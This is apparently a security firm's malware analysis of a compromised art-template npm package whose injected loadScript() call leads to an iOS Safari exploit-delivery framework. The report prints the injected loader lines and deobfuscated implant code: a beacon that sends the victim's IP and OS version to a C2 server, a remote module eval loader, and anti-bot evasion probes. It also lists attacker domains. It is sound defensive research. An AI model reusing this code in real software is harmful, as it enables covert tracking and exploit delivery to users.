

















Socket proactively blocks malicious open source packages in your code.
Secure your dependencies with us
Early on May 20th, 2026, the Socket Threat Research team detected signals of a package compromise leading to a sophisticated payload targeting a broad range of iOS devices with a watering-hole attack similar in style to the delivery of the Coruna exploit kit. After careful analysis, a plethora of similarities to that campaign emerged, indicating that a threat actor intended to use a package supply-chain compromise to deliver iOS browser exploits.
The art-template npm package, a widely-used JavaScript templating library originally authored by aui, was handed over to an unknown actor under the pretense of taking on maintenance of a project the original author was no longer actively stewarding. According to aui , the new controller almost immediately began weaponizing the package:
“Someone previously acquired the project under the guise of taking over its maintenance, but soon released a package containing external scripts and deleted the related issues.”
The pattern of deleting issue reports while continuing to push malicious versions suggests an actor who understood their exposure and was actively suppressing discovery.
The backdoored versions followed an escalating injection pattern. Version 4.13.3 used String.fromCharCode encoding to conceal a loader pointing to git.youzzjizz[.]com/git.js. Versions 4.13.5 and 4.13.6 dropped the obfuscation entirely, injecting a plaintext loadScript() call targeting v3.jiathis[.]com/code/art.js directly into lib/template-web.js. That domain redirects to the watering hole at utaq[.]cfww[.]shop/gooll/gooll.html, which embeds the Coruna exploit kit delivery framework analyzed in this report. The shift from encoded to plaintext injection across successive versions suggests the actors grew increasingly confident in their access. Any application that bundled art-template@4.13.5 or 4.13.6 would silently load and execute the exploit kit in every end user's browser.
The JavaScript implant (49554fde7424c31c.js ) functions as a watering hole exploit delivery framework, targeting Safari on iOS 11.0 through iOS 17.2, explicitly and intentionally rejecting every other browser, OS, and iOS version outside that range. The file is inert on Chrome, Firefox, Edge, Android, and iOS 17.3+.
Upon load it immediately begins beaconing the victim's public IP address, iOS version string, and a campaign tracking code to a C2 server (l1ewsu3yjkqeroy[.]xyz) every 10 seconds. Simultaneously, it runs five layers of anti-bot and anti-automation fingerprinting, including an inline WebAssembly proof-of-work, before fetching a server-side payload via a content-addressed remote module loader.
Several technical characteristics of the delivery mechanism suggest gating for browser exploit delivery:
CPU_TYPE_ARM64 from CPU_TYPE_ARM64_32 and routes to different final-action modules accordingly. A phishing form has no use for the victim's CPU type. Exploit payloads targeting specific JIT compiler paths do.rvXShf): values of 72, 16, 64, 88, and 96 are applied at per-iOS-version precision to read from compiled WASM function bodies at exact byte offsets. This is a memory layout probe consistent with verifying a vulnerable code path before triggering a JIT corruption exploit — not rendering a login form.$n() reads JIT-compiled machine code: the WASM challenge retrieves a function pointer from the WASM table and reads memory at ptr + rvXShf to verify the JIT compiler's output against an expected hash. This technique is used to confirm a specific vulnerable JIT output exists before exploitation.false for iOS 17.3+, a boundary more consistent with a patched CVE than a phishing kit's version preference..si() retried up to 20 times: transient WASM initialization failures are characteristic of exploit setup racing against JIT compilation timing, not form injection.Targeted:
mmrZ0r flag pathRbKS6p flag pathShQCsB flag pathKeCRDQ flag pathJtEUci flag pathJtEUci + wC3yaB; hardened WASM-verified pathNot targeted:
JtEUci explicitly reset to false at threshold 170300Primary target population: iOS 16.6 – 17.2 (released September 2022 – December 2023). This range covers the majority of non-auto-updating iPhone users worldwide at time of deployment.
This payload was delivered via a compromised npm package. pkg:npm/art-template@4.13.5 and pkg:npm/art-template@4.13.6 both append a browser-side remote-script loader after the legitimate webpack bundle in lib/template-web.js:
loadScript('<https://v3.jiathis>[.]com/code/jia.js?uid=artemplate') ← 4.13.5
loadScript('<https://v3.jiathis>[.]com/code/art.js') ← 4.13.6When the browser build is consumed by a downstream site, this injects a <script> tag and executes arbitrary attacker-controlled JavaScript in the host page — enabling cookie/localStorage theft, form hijacking, redirects, and further payload staging.
The full delivery chain is:
pkg:npm/art-template@4.13.5 / @4.13.6
└─ lib/template-web.js injects loadScript(...)
└─ hxxps://v3.jiathis[.]com/code/art.js
└─ redirects to hxxps://utaq[.]cfww[.]shop/gooll/gooll.html
└─ embeds hxxps://utaq[.]cfww[.]shop/gooll/49554fde7424c31c.js
└─ Safari/iOS watering hole exploit delivery framework
└─ server-side payload via .lA() [unknown, C2-gated]49554fde7424c31c.jsf31bdd069fe7966ae11be1f78ee5dd44445938856dd1df12379e0e84a6851f5c8064d4e0322f069b3dba13e7957ff0ca7dab79846e79ae622b7ef30f31fdbcc2dc65339e7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.jsThree distinct obfuscation layers are applied from outside-in.
fqMaGkN4)The first functions defined in the file implement a custom string packer that encodes string constants as arrays of 32-bit unsigned integers, each holding two UTF-16 code units packed in little-endian byte order. Strings are recovered at runtime via unescape().
// As found in the file (outer packer — unmodified)
function fqMaGkNL(V) {
return 1 === (V = V.toString(16).toLowerCase()).length && (V = "0" + V), V
}
function fqMaGkN4(V) {
return V.reduce((V, R) => {
let T;
const N = 255 & R,
U = (4278190080 & R) >> 24 & 255,
l = (16711680 & R) >> 16 & 255;
return V + (
T = "%u",
T += fqMaGkNL((65280 & R) >> 8 & 255),
T += fqMaGkNL(N),
T += "%u",
T += fqMaGkNL(U),
T += fqMaGkNL(l),
unescape(T)
)
}, "")
}
// Example call — decodes the implant's self-registered filename:
function fqMaGkNg() {
return fqMaGkN4([
1631006510, 960062519, 1647917360, 1647653680, 892756786,
912405041, 1701143141, 1681285477, 1684353382, 1714435941,
1831756386, 1781427817, 115
])
}
// → "./7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js"When called with an empty array (fqMaGkN4([])), the result is "". This is used intentionally for the result-callback URL — the beacon fires but goes nowhere, acting as a kill-switch for the status reporter while the C2 beacon runs separately.
new Function(atob("..."))() Eval ChainThe 39,900-character base64 blob assigned to globalThis.obChTK decodes to a 29,924-character JavaScript constructor. It is never placed in any variable — it is immediately invoked as new Function(atob("..."))(). The decoded constructor builds the obChTK global module dispatcher and contains a JSON object MM whose keys are SHA-1 content hashes and whose values are further base64-encoded JavaScript module bodies.
// Top-level structure (as found):
window.globalThis = window;
globalThis.obChTK = new Function(atob("bGV0IE1NPXsiNTc2MjAy..."))();
// Decoded constructor (abbreviated):
let MM = {
"57620206d62079baad0e57e6d9ec93120c0f5247": "<base64: 64-bit math lib>",
"14669ca3b1519ba2a8f40be287f646d4d7593eb0": "<base64: fingerprint engine>",
};
let e = {}; // module cache
function hPL3On(M) { // synchronous module loader
if (!(M in e)) {
const I = atob(MM[M]);
e[M] = new Function(I)();
}
return e[M];
}
async function ZKvD0e(M) { // asynchronous remote module loader
if (!(M in e) && !(M in MM)) {
let I = SHA256(e.p + M).substring(0, 40); // content-hash the URL
const N = await XHR_GET(e.$ + I + ".js"); // fetch from server
e[M] = new Function(N)(); // eval fetched code
}
return hPL3On(M);
}
// obChTK exposes four methods:
// .po3QmN(url) — set base URL (script directory)
// .eW4__H(key) — set session key ("cecd08aa6ff548c2")
// .hPL3On(hash) — synchronous inline module lookup
// .ZKvD0e(hash) — async remote module fetch + evalEvery sensitive string inside both inline modules and the outer wrapper is encoded as an integer array XOR'd with a per-string key constant. Keys range from 45 to 122.
// Example: XOR key 67 — decodes to a module hash
[118,116,117,100,99,114,98,103,112,100,120,116,100,121,51,97,98,100,
99,113,107,114,115,102,99,56,98,54,100,50,99,51,48,102,51,50,52,55]
.map(x => String.fromCharCode(x ^ 67)).join("")
// → "57620206d62079baad0e57e6d9ec93120c0f5247"
// Example: XOR key 0 (plaintext char codes) — decoded C2 URL
[104,116,116,112,115,58,47,47,108,49,101,119,115,117,51,121,106,107,
113,101,114,111,121,46,120,121,122,47,97,112,105,47,105,112,45,115,
121,110,99,47,115,121,110,99]
.map(x => String.fromCharCode(x)).join("")
// → "<https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync>"
// Example: XOR key 0 — IP oracle
[104,116,116,112,115,58,47,47,105,112,118,52,46,105,99,97,110,104,
97,122,105,112,46,99,111,109]
.map(x => String.fromCharCode(x)).join("")
// → "<https://ipv4.icanhazip.com>"Numeric constants are stored as XOR pairs of 32-bit integers, defeating static analysis tools that scan for magic numbers:
(1231382113 ^ 1231552349) // → 236 iOS version threshold offset
(1937131623 ^ 1937135719) // → 4096 WASM heap alignment
(1433892436 ^ 1433892523) // → 0xFF SHA-256 byte mask
(1345340530 ^ -1361199427) // → 0xFEEDFACF Mach-O 64-bit binary magic
(1903251526 ^ 1903260907) // → 9389 WASM challenge expected value (0x24AD)On script load, three things happen synchronously before any network activity:
window.globalThis = window patches the global alias for older WebKit.globalThis.obChTK = new Function(atob("..."))() decodes and evaluates the 29 KB constructor, registering two inline modules and exposing the four dispatcher methods.globalThis.obChTK.eW4__H("cecd08aa6ff548c2") sets the session discriminator used in all remote module URL derivations.globalThis.obChTK.po3QmN(fqMaGkNg()) sets the base URL to the decoded script path: ./7a7d99099b035b2c6512b6ebeeea6df1ede70fbb.min.js.The two bundled inline modules are evaluated immediately on first access:
57620206d62079baad0e57e6d9ec93120c0f5247 — 64-bit integer math library (BigInt polyfill via two 32-bit limbs; includes LEB128 encoder/decoder used by the WASM builder)14669ca3b1519ba2a8f40be287f646d4d7593eb0 — browser fingerprinting and capability engine (version tables, all flag definitions, WASM fingerprinter, anti-bot probes)Neither module touches the DOM or makes network requests at this stage.
The main entry point fqMaGkNR() calls fqMaGkNK.init() on the fingerprinting module, passing navigator.platform, navigator.userAgent, and several other environment parameters.
// Deobfuscated init() — browser gate (from module 14669ca3...)
r.init = function(platform, maxTouchPoints, ..., userAgent) {
// Hard-reject non-Safari/WebKit
if (userAgent.match(/Version\\//)) F.dn = 'safari';
else if (!userAgent.match(/AppleWebKit\\//)) throw new Error(""); // abort
if ('safari' !== F.dn) throw new Error(""); // abort
// Parse version string into integer score
// "17.3.1" → parseInt("17" + "03" + "01") = 170301
let u = userAgent.match(/Version\\/(\\d+)\\.(\\d+)(?:\\.(\\d+))?/);
// Fallback for custom iOS UA: "MobileStore/1.0 ... iOS/17.2"
if (null === u && userAgent.startsWith('MobileStore/1.0'))
u = userAgent.match(/iOS\\/(\\d+)\\.(\\d+)(?:\\.(\\d+))?/);
if (null === u) throw new Error("");
F.xn = parseInt(
pad(u[1]) + pad(u[2]) + (u[3] ? pad(u[3]) : "00"),
10
);
F.runtime = 'LTgSl5'; // default runtime table name
p(); // build capability flags for this version
};Any throw from init() (wrong UA) or the version check below 13.0 terminates execution immediately, returning exit code 1001.
The p() function consults the LTgSl5 version table to set exactly one mutually exclusive Boolean payload flag in F.Nn. The table is walked from lowest threshold to highest; each entry overwrites the previous state. The result is a single-flag selector that governs which remote payload module will be fetched.
// Deobfuscated p() — version flag builder
function p() {
const table = _[F.runtime]; // e.g. _['LTgSl5']
const entries = table.slice().reverse(); // lowest threshold first
entries.forEach((entry, idx) => {
if (idx === 0 || entry.GFx77t <= F.xn) {
Object.assign(F.Nn, entry.flags);
}
});
}LTgSl5 Version Table (Decoded)100000 (iOS 10.0, base) — sKfNmf=false110000 (iOS 11.0) — mmrZ0r=true, RbKS6p=false, ShQCsB=false, KeCRDQ=false, wC3yaB=false130001 (iOS 13.0.1) — zpy6Mu=24, xK8SW0=72130006 (iOS 13.0.6) — zpy6Mu=16150200 (iOS 15.2) — RbKS6p=true, mmrZ0r=false150400 (iOS 15.4) — xK8SW0=64150600 (iOS 15.6) — ShQCsB=true, RbKS6p=false160200 (iOS 16.2) — KeCRDQ=true, ShQCsB=false160400 (iOS 16.4) — UPk5PY=88160600 (iOS 16.6) — JtEUci=true, KeCRDQ=false170000 (iOS 17.0) — UPk5PY=96170200 (iOS 17.2) — wC3yaB=true, wYk8Jg=true170300 (iOS 17.3) — JtEUci=false ← hard cutoffThe zpy6Mu and xK8SW0 fields are memory offset values passed to the WASM fingerprinter (Stage 4). UPk5PY controls a crypto initialization parameter. wC3yaB and wYk8Jg enable the hardened WASM-verified final-action path (Stage 5).
mmrZ0r → 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396RbKS6p → ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44ShQCsB → d11d34e4d96a4c0539e441d861c5783db8a1c6e9KeCRDQ → 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8JtEUci → e3b6ba10484875fabaed84076774a54b87752b8a1001The zpy6Mu and xK8SW0 fields are memory offset values passed to the WASM fingerprinter (Stage 4). UPk5PY controls a crypto initialization parameter. wC3yaB and wYk8Jg enable the hardened WASM-verified final-action path (Stage 5).
For iOS 16+, fqMaGkNR() calls fqMaGkNK.Hn() before proceeding. This stage runs five independent probes. A failure in any probe returns 1001.
navigator.webdriver Rejection// Deobfuscated webdriver check
if (navigator.webdriver === true) {
if (F.En === undefined) throw new Error(""); // abort — no override set
}F.En is set to Array(!1)[0] (i.e. undefined) at init time, making this an unconditional block against all Selenium, Playwright, and Puppeteer-controlled browsers. There is no bypass path.
// Deobfuscated WebRTC + WebGL probe
const hasRTC = !!(
globalThis.RTCPeerConnection ||
globalThis.mozRTCPeerConnection ||
globalThis.webkitRTCPeerConnection ||
globalThis.RTCIceGatherer
);
const hasWebGL = !!(globalThis.WebGLRenderingContext);
if (!hasRTC || !hasWebGL) return 1001;Most correctly configured headless environments expose these APIs, but misconfigured or minimal environments do not. This check is a secondary filter on top of Probe 1.
This is the most reliable headless detection technique in the set. It injects a MathML element into the live DOM and verifies that the browser's CSS engine correctly resolves the mathcolor attribute to an RGB color value. Server-side renderers, jsdom, and most headless environments that do not implement MathML will return an incorrect or empty color.
// Deobfuscated MathML probe (r.Hn in module 14669ca3...)
function checkMathML() {
const id = 'ldm_mml_t';
const div = document.createElement('div');
div.setAttribute("id", id);
div.innerHTML = "<math style='display:none'>" +
"<mrow mathcolor=\\"blue\\"><mn>14</mn></mrow>" +
"</math>";
const root = document.body || document.firstChild;
root.appendChild(div);
const color = globalThis.getComputedStyle(
div.firstChild.firstChild, null
).color;
root.removeChild(document.getElementById(id));
return color === 'rgb(0, 0, 255)'; // true = real browser
}
if (!checkMathML()) return 1001;The probe branches on navigator.maxTouchPoints to distinguish iOS from macOS.
// Deobfuscated Yn() — storage probe
function Yn() {
return new Promise(resolve => {
if (navigator.maxTouchPoints !== undefined) {
// iOS path: IndexedDB Blob write test
const req = window.indexedDB.open('_ldm_' + Math.random(), 1);
req.onupgradeneeded = function(e) {
try {
e.result
.createObjectStore('test', { autoIncrement: true })
.put(new Blob());
resolve(false); // succeeded → newer iOS (15.4+)
} catch(err) {
const msg = (err instanceof Error) ? err.message : String(err);
// true → error matched → iOS ≤ 15.3 (Blob URLs not yet supported)
// false → different error → still a real browser
resolve(typeof msg === 'string'
? /BlobURLs are not yet supported/.test(msg)
: false);
}
};
} else {
// macOS path: deprecated Web SQL + localStorage
try {
window.openDatabase(null, null, null, null); // throws on Safari 15.4+
resolve(false); // if it doesn't throw, macOS pre-15.4 — continue
} catch(_) {
// Verify localStorage works
const k = '_ldm_' + Math.random();
localStorage.setItem(k, '1');
localStorage.removeItem(k);
resolve(false); // real macOS Safari — continue
}
}
});
}The "BlobURLs are not yet supported" version boundary:
This error was thrown by WebKit's IndexedDB implementation before Blob object URL support was added (WebKit bug 227576, fixed in Safari 15.4 / iOS 15.4, March 2022).
kn = true — iOS 11.0 – 15.3; pre-15.4, Blob write threw "BlobURLs are not yet supported"kn = false — iOS 15.4+; write succeeded or a different error was thrownThe result is stored in F.kn and forwarded to the server-side payload modules via the shared F state object exposed through globalThis.obChTK. The probe does not gate payload selection — it is a fingerprinting data point passed to the remote .lA() payload so it can tailor its UI to the specific device.
A 5-second setTimeout sentinel is set before Yn() runs. If the IndexedDB probe does not complete within 5 seconds (e.g. in a sandboxed environment that stalls on IDB access), the sentinel fires and resolves the probe as false regardless, allowing execution to continue. This prevents indefinite hangs from tripping automation-detection trip wires in the harness.
After the anti-bot probes pass, fqMaGkNR() uses the capability flag to select a module hash and fetches it via ZKvD0e().
// Deobfuscated module dispatch in fqMaGkNR()
let T;
const env = fqMaGkNK.zn;
if (env.Nn.JtEUci) T = await ZKvD0e('e3b6ba10484875fabaed84076774a54b87752b8a');
else if (env.Nn.KeCRDQ) T = await ZKvD0e('57cb8c6431c5efe203f5bfa5a1a83f705cb350b8');
else if (env.Nn.ShQCsB) T = await ZKvD0e('d11d34e4d96a4c0539e441d861c5783db8a1c6e9');
else if (env.Nn.RbKS6p) T = await ZKvD0e('ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44');
else if (env.Nn.mmrZ0r) T = await ZKvD0e('7d8f5bae97f37aa318bccd652bf0c1dc38fd8396');
// T === undefined → return fqMaGkNr(1001)The remote module URL is not a direct path to the module hash. It is derived by hashing the session key concatenated with the module hash through the bundled SHA-256 implementation:
// Deobfuscated ZKvD0e() — remote module loader
async function ZKvD0e(moduleHash) {
if (!(moduleHash in e) && !(moduleHash in MM)) {
// Derive fetch path: SHA256(sessionKey + moduleHash)[0:40]
const fetchPath = SHA256("cecd08aa6ff548c2" + moduleHash).substring(0, 40);
// e.$ = script base directory
// Append cache-busting param: ?{random5-10char}={0|1}
const url = e.$ + fetchPath + ".js?" + randomKey + "=" + randomBit;
const src = await XHR_GET(url, { responseType: "text" });
e[moduleHash] = new Function(src)(); // eval fetched code
}
return hPL3On(moduleHash);
}The session key cecd08aa6ff548c2 acts as a server-side gate: a request using the wrong key produces a 404, making the payload invisible to crawlers and scanners that do not know the key. The cache-busting random query parameter prevents CDN caching of payload modules.
Session key: cecd08aa6ff548c2
iOS 11.0–15.1 (mmrZ0r):
SHA256("cecd08aa6ff548c2" + "7d8f5bae97f37aa318bccd652bf0c1dc38fd8396")[0:40]
→ 5ff38f5342bb3c931bc504d6fa3523d0c8865b93
→ GET ./5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js
iOS 15.2–15.5 (RbKS6p):
→ 46ecd515ac9e99ef0603063db39303a0fd849632
→ GET ./46ecd515ac9e99ef0603063db39303a0fd849632.js
iOS 15.6–16.1 (ShQCsB):
→ ff4f3cb4711fb364b52de5ab04a8f83140466f89
→ GET ./ff4f3cb4711fb364b52de5ab04a8f83140466f89.js
iOS 16.2–16.5 (KeCRDQ):
→ 8c4451cf1258f9a8d6a8af27864f111fd69a0e99
→ GET ./8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js
iOS 16.6–17.2 (JtEUci):
→ 6beef463953ff422511395b79735ec990bed65f4
→ GET ./6beef463953ff422511395b79735ec990bed65f4.js.si() Retry Loop (WASM Initialization)The fetched module exposes a .si() method that initializes the WebAssembly environment and stores the resulting instance in F.Xn. Because WASM compilation is async and can fail transiently in constrained iOS environments, it is retried up to 20 times:
// Deobfuscated si() retry loop
for (let attempt = 0; attempt < 20; attempt++) {
try {
return void (
'AsyncFunction' === T.si.constructor.name
? await T.si() // async: await it
: T.si() // sync: call directly
);
} catch(e) {}
}
throw new Error(""); // 20 failures → abortIf F.Xn is null after the loop, execution exits with 1001.
After .si() succeeds, the function lr() runs a low-level WASM memory probe to determine the CPU architecture of the device and select the appropriate crypto path.
A 52-byte WebAssembly module is assembled at runtime from XOR-decoded byte constants. The bytes are verified below (XOR constants decoded to plaintext):
Decoded WASM bytes:
00 61 73 6d 01 00 00 00 ← magic (0x6d736100) + version 1
01 07 01 60 02 7f 7f 01 ← type section: func(i32,i32)→i32
7f 03 03 02 00 00 ← function section: 2 functions, both type 0
07 09 02 01 61 00 00 01 ← export section: "a"→func0, "b"→func1
62 00 01 10 11 ← end of exports
02 07 00 20 00 20 01 ← code section func0: local.get 0, local.get 1
6a 0b ← i32.add, end
07 00 20 00 20 01 ← code section func1: local.get 0, local.get 1
6b 0b ← i32.sub, end
Exports:
a(x, y) = x + y (i32.add)
b(x, y) = x - y (i32.sub)lr())lr() walks the WASM heap to find the Mach-O 64-bit binary magic constant 0xFEEDFACF, which the JavaScriptCore WASM runtime embeds at architecture-dependent offsets. The presence and position of this constant distinguishes CPU architecture:
// Deobfuscated lr() — architecture probe
function lr() {
const mem = new Uint32Array(F.Xn.exports.memory.buffer);
const magic = 0xFEEDFACF; // (decoded: 1345340530 ^ -1361199427)
for (let i = 0; i < mem.length; i++) {
if (mem[i] === magic) {
const cpuType = mem[i + 1];
if (cpuType === 0x01000007) { // CPU_TYPE_ARM64
F.runtime = 'RoAZdq'; // standard arm64 iPhone
} else if (cpuType === 0x0100000C) { // CPU_TYPE_ARM64_32
F.runtime = 'PSNMWj'; // Apple Silicon / ARM64_32
F.Sn = true; // enable crypto chain
}
p(); // re-run flag builder with new runtime table
return;
}
}
}CPU_TYPE_ARM64 (0x01000007) → runtime RoAZdq — standard iPhone / iPad (A-series chips)CPU_TYPE_ARM64_32 (0x0100000C) → runtime PSNMWj, F.Sn=true — Apple Silicon Mac running iOS app (M-series chips)When PSNMWj is selected, p() re-runs with the PSNMWj version table, replacing all LTgSl5 flags with architecture-specific ones. The F.Sn=true flag enables the crypto chain.
// Deobfuscated fqMaGkNO() — crypto chain
async function fqMaGkNO() {
const Nn = fqMaGkNK.zn.Nn;
if (Nn.wF8NpI || Nn.LJ1EuL) {
// Both paths share the same init module
await (await ZKvD0e('477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba')).ul();
}
let cryptoModule;
if (Nn.wF8NpI) cryptoModule = await ZKvD0e('29b874a9a6cc9fa9d487b31144e130827bf941bb');
else if (Nn.LJ1EuL) cryptoModule = await ZKvD0e('9db8a84aa7caa5665f522873f49293e8eebccd5c');
else if (Nn.CpDW_T) cryptoModule = await ZKvD0e('171a7da1934de9e0efb9c1645f4575f88e482873');
else if (Nn.IqxL92) cryptoModule = await ZKvD0e('91b278ddb2aec817b10c1535e0963da74f9b8eeb');
else cryptoModule = await ZKvD0e('b586c88246144bc7975ad4e27ec6d62716bf34ea');
F.Mn = cryptoModule.ga(); // crypto object used in WASM challenge
}The PSNMWj flag-to-crypto-module mapping:
| PSNMWj Flag | iOS/macOS Threshold | Crypto Module Hash |
|---|---|---|
LJ1EuL | 16.6 | 9db8a84aa7caa5665f522873f49293e8eebccd5c |
wF8NpI | 17.0 (resets LJ1EuL) | 29b874a9a6cc9fa9d487b31144e130827bf941bb |
Both paths also call 477db22c....ul() first for shared crypto state hydration.
$n())$n() is the final bot check: it verifies that the WASM module's compiled machine code matches an expected cryptographic hash, confirming the runtime is genuine JavaScriptCore on real hardware. This runs only when F.Sn=true and F.Nn.sKfNmf=true.
// Deobfuscated $n() — WASM challenge
function $n() {
if (!(F.Sn && F.Nn.sKfNmf)) return false;
const expected = 9389; // 0x24AD (decoded: 1903251526 ^ 1903260907)
function verify(exportFn) {
const fnPtr = F.Xn.tr(exportFn); // get function pointer from WASM table
const memPtr = F.Xn.nr(fnPtr + F.Nn.rvXShf); // read memory at ptr + version-specific offset
const val64 = F.Xn.rr(memPtr); // read 64-bit value from heap
return F.Mn.er(val64.Dt(), expected).lt(val64); // crypto equality check
}
const qn = !verify(F.Xn.a) || !verify(F.Xn.b);
return qn;
}rvXShf is the architecture-specific memory offset from the version table:
7216 (then 56)64UPk5PY=88) → 88UPk5PY=96) → 96Pass (qn=true): WASM JIT output matches expected hash — confirmed genuine WebKit WASM engine on real hardware.
Fail (qn=false): Emulated runtime, wrong architecture, or sKfNmf=false (RoAZdq path) — falls through to fallback final action.
// Deobfuscated final action dispatch in fqMaGkNR()
const wC3yaB = fqMaGkNK.zn.Nn.wC3yaB; // true only on iOS 17.2
const qn = fqMaGkNK.zn.qn; // true only if WASM challenge passed
const finalModule = (wC3yaB === true && qn === true)
? await ZKvD0e('7f809f320823063b55f26ba0d29cf197e2e333a8') // hardened path
: await ZKvD0e('c03c6f666a04dd77cfe56cda4da77a131cbb8f1c'); // primary path
const result = await finalModule.lA();wC3yaB=true AND qn=true → 7f809f320823063b55f26ba0d29cf197e2e333a8 — iOS 17.2 on Apple Silicon Mac running iOS app with WASM challenge passedc03c6f666a04dd77cfe56cda4da77a131cbb8f1c — standard arm64 iPhones, iOS 11–17.2c03c6f66... is the primary path for the overwhelming majority of targeted devices (all standard iPhones). Its .lA() method is the terminal payload action. What .lA() does is being researched.
Independent of the main payload chain, an immediately-invoked function expression (IIFE) begins beaconing before the anti-bot probes even run. It fires 2 seconds after page load and then every 10 seconds indefinitely.
// Deobfuscated beacon IIFE (runs immediately, independently of main chain)
(async function beaconLoop() {
await new Promise(r => setTimeout(r, 2000)); // 2s initial delay
const channelCode = "CHMK6IG08F42496C22";
const c2Endpoint = "<https://l1ewsu3yjkqeroy.xyz/api/ip-sync/sync>";
const ipOracleUrl = "<https://ipv4.icanhazip.com>";
async function sendBeacon() {
// 1. Resolve victim's public IP via legitimate third-party service
const ip = (await fetch(ipOracleUrl)).text().trim();
// 2. Extract OS version from UA
// e.g. "iPhone OS 17_2" → "iOS 17.2"
// "Intel Mac OS X 10_15_7" → "macOS 10.15.7"
const deviceVersion = parseUserAgent(navigator.userAgent);
// 3. POST beacon to C2
await fetch(c2Endpoint, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ channelCode, ip, deviceVersion })
});
}
await sendBeacon();
setInterval(sendBeacon, 10000); // repeat every 10 seconds
})();
// Outer reload loop — forces full re-execution every ~16.7 hours
setInterval(() => location.reload(), 60_000_000);The second campaign code "1DECX7UIQIB43" is declared as a constant in the outer scope but not used in the beacon body. It is likely reserved for an alternate C2 channel or A/B test variant that is server-activated.
The use of ipv4.icanhazip.com as the IP oracle is deliberate: it avoids self-hosted infrastructure that could be blocklisted, is HTTPS, and is an established legitimate service — reducing the chance of the pre-beacon request being flagged by endpoint security before the C2 POST fires.
The fqMaGkNr(code) function reports execution outcomes as a GET request to a callback URL derived from fqMaGkN4([]). In this sample the callback array is empty, so fqMaGkN4([]) = "" and no beacon fires — the attacker has disabled status reporting in this copy, likely to reduce forensic visibility.
0 — success; payload loaded and .lA() returned1000 — partial success; setup completed but final action not confirmed1001 — abort; failed browser gate, version check, or anti-bot probe1003 — error; unhandled exception in main chainAll modules are served from the same origin as the implant entry point (utaq[.]cfww[.]shop), under a path derived by the content-addressed URL scheme described in Stage 4. The session key cecd08aa6ff548c2 must be known to correctly derive fetch paths. Fetch paths are computed as SHA256("cecd08aa6ff548c2" + moduleHash)[0:40] + ".js".
| Module Hash | Type | Hosted At | Inline or Remote |
|---|---|---|---|
57620206d62079baad0e57e6d9ec93120c0f5247 | 64-bit math library | Bundled in utaq[.]cfww[.]shop | Inline |
14669ca3b1519ba2a8f40be287f646d4d7593eb0 | Fingerprint + capability engine | Bundled in utaq[.]cfww[.]shop | Inline |
7d8f5bae97f37aa318bccd652bf0c1dc38fd8396 | iOS 11.0–15.1 WASM loader | hxxps://utaq[.]cfww[.]shop/5ff38f5342bb3c931bc504d6fa3523d0c8865b93.js | Remote |
ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44 | iOS 15.2–15.5 WASM loader | hxxps://utaq[.]cfww[.]shop/46ecd515ac9e99ef0603063db39303a0fd849632.js | Remote |
d11d34e4d96a4c0539e441d861c5783db8a1c6e9 | iOS 15.6–16.1 WASM loader | hxxps://utaq[.]cfww[.]shop/ff4f3cb4711fb364b52de5ab04a8f83140466f89.js | Remote |
57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 | iOS 16.2–16.5 WASM loader | hxxps://utaq[.]cfww[.]shop/8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js | Remote |
e3b6ba10484875fabaed84076774a54b87752b8a | iOS 16.6–17.2 WASM loader | hxxps://utaq[.]cfww[.]shop/6beef463953ff422511395b79735ec990bed65f4.js | Remote |
477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba | Shared crypto init (.ul()) | hxxps://utaq[.]cfww[.]shop/bef10a7c014b826e9dd645984e80baf313c1635f.js | Remote |
29b874a9a6cc9fa9d487b31144e130827bf941bb | iOS crypto getter — wF8NpI (.ga()) | hxxps://utaq[.]cfww[.]shop/4a75f0551eba446b4fa35127024a84b71d9688d6.js | Remote |
9db8a84aa7caa5665f522873f49293e8eebccd5c | iOS crypto getter — LJ1EuL (.ga()) | hxxps://utaq[.]cfww[.]shop/3fd66b32c44150acff3dcb80f86c759574148ed5.js | Remote |
171a7da1934de9e0efb9c1645f4575f88e482873 | Desktop WebKit crypto getter (.ga()) | hxxps://utaq[.]cfww[.]shop/17480ecc0120292fb6b8b19f2fa134385dcfd0fd.js | Remote |
91b278ddb2aec817b10c1535e0963da74f9b8eeb | Non-Safari WebKit crypto getter (.ga()) | hxxps://utaq[.]cfww[.]shop/f6377d5d458183d41c5fd99661c5a306b42c6255.js | Remote |
b586c88246144bc7975ad4e27ec6d62716bf34ea | Fallback crypto getter (.ga()) | hxxps://utaq[.]cfww[.]shop/3bc0f6865c0476c0a98a76cb9924d6b3972df591.js | Remote |
7f809f320823063b55f26ba0d29cf197e2e333a8 | Final action — WASM-verified path (.lA()) | hxxps://utaq[.]cfww[.]shop/8835419f53fa3b270c8928d53f012d4c28b29ea4.js | Remote |
c03c6f666a04dd77cfe56cda4da77a131cbb8f1c | Final action — primary/fallback path (.lA()) | hxxps://utaq[.]cfww[.]shop/9af53c1bb40f0328841df6149f1ef94f5336ae11.js | Remote |
ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8 | WASM ABI sub-module (PSNMWj/RoAZdq dispatcher) | hxxps://utaq[.]cfww[.]shop/aea58f0e58801b528702a6c66bf4af8b99041243.js | Remote |
Google Threat Intelligence Group published a detailed analysis of Coruna, a commercial iOS exploit kit containing 5 full exploit chains and 23 individual exploits, targeting iOS 13.0 through 17.2.1. The overlap with 49554fde7424c31c.js is extensive enough to conclude with high confidence that this sample is an instance or close derivative of the Coruna delivery framework.
Coruna defines five WebContent RCE exploit chains, each covering a specific iOS version band. Our sample's five version-specific payload modules map to these chains with near-perfect alignment:
